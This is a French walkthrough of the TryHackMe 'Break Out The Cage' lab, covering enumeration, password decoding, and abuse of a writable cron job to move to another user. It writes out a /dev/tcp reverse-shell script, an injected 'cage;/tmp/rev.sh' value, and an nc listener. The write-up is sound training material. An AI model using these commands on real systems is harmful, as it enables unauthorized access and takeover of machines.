Break Out The Cage – WriteUp – TryHackMe – Fr

Break Out The Cage est une box easy de TryHackMe qui fait appel à des connaissances basiques, comme l’énumération web, FTP, cypher…

Task 1 Investigate!

Pour commencer, il faut faire un scan avec nmap pour voir quels sont les ports qui sont ouverts. 

Commande :

nmap -sC -sV 10.10.205.178

Enumération Web

L’accès à la page web sur le port 80, n’offre que peu d’information mise à part un possible nom d’utilisateur. Weston

Enumération FTP

L’accès au serveur FTP est possible avec le compte anonymous. Il permet de récupérer un fichier dad_tasks

Commandes :

ftp 10.10.205.178

Pour voir le contenu du dossier courant : 

ls -al

Pour télécharger le fichier dad_tasks :

get dad_tasks

 

Le fichier est encodée en base64. On peut le déchiffrer via le site cyberchef  ou avec cette commande : 

cat dad_tasks | base64 -d

Le résultat donne un résultat qui est aussi encodé, mais cette fois en Vigenère.

Pour le déchiffrer, on va passer par un autre site. www.guballa.de

La dernière ligne déchiffrer correspond au mot de passe. Étape suivante : connexion SSH

Connexion SSH

Commande : 

ssh weston@10.10.205.178

Une fois connecté, il faut, comme toujours, faire la commande sudo -l pour voir quels sont les droits de l’utilisateur. 

C’est un rabbit hole. Il y a bien un binaire /usr/bin/bees mais on ne peut pas le modifier. En revanche, il y a de manière régulière des messages qui s’affichent automatiquement dans le terminal. 

Pour analyser ce qui se passe, il est possible d’utiliser un outil (pspy) en ligne de commande conçu pour espionner les processus sans avoir besoin d’autorisations root.

Commandes pour télécharger et utiliser pspy : 

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32

python3.9 -m http.server

Sur la machine cible ( l’IP correspond à celle de Kali ) : 

wget http://10.11.38.124/pspy32

Sur la mahcine cible 

chmod +x pspy32

./pspy32

 

Comme le montre la capture, il y a une cron job qui s’exécuté et elle est stockée dans /opt/.dads_scripts/

On a la possibilité de modifier le script. Donc on va créer un script shell qui va nous renvoyer un reverse shell lorsque la cron s’exécutera. Pour ça, on modifiera le script pour lui demander d’exécuter notre script. 

Commande pour créer un script sans éditeur de texte : 

cat > /tmp/rev.sh << EOF

#!/bin/bash

bash -i >& /dev/tcp/10.11.38.124/6666 0>&1

EOF

Attribution des droits d’exécution : 

chmod +x /tmp/rev.sh

Modification de la cron job :

printf ‘cage;/tmp/rev.sh\n’ > /opt/.dads_scripts/.files/.quotes

Mise en place d’un écouteur nc :  

nc -nlvp 6666

Après la réception du shell sur nc, on a changé d’utilisateur. Dans la mesure où le script s’exécute avec le compte cage, on est donc sur le compte cage

Dans son dossier /home, on trouve un fichier Super_Duper_Checklist qui nous donne le 1er flag

On trouve aussi un dossier email backup dans lequel on trouve trois emails. 

Escalade de privilège

Bon là, ça a été un peu plus compliqué. Au milieu du mail, on a ce terme haiinspsyanileph . C’est encodé, et probablement avec du Vigenère. Le problème, c’est qu’il faut une clé pour le déchiffrer. En fait, c’est tout bête, la clé, c’est cage. J’ai mis du temps à le voir… Avec cyberchef, on peut le déchiffrer.

Avec le mot de passe, il suffit de faire su + le mot de passe.

#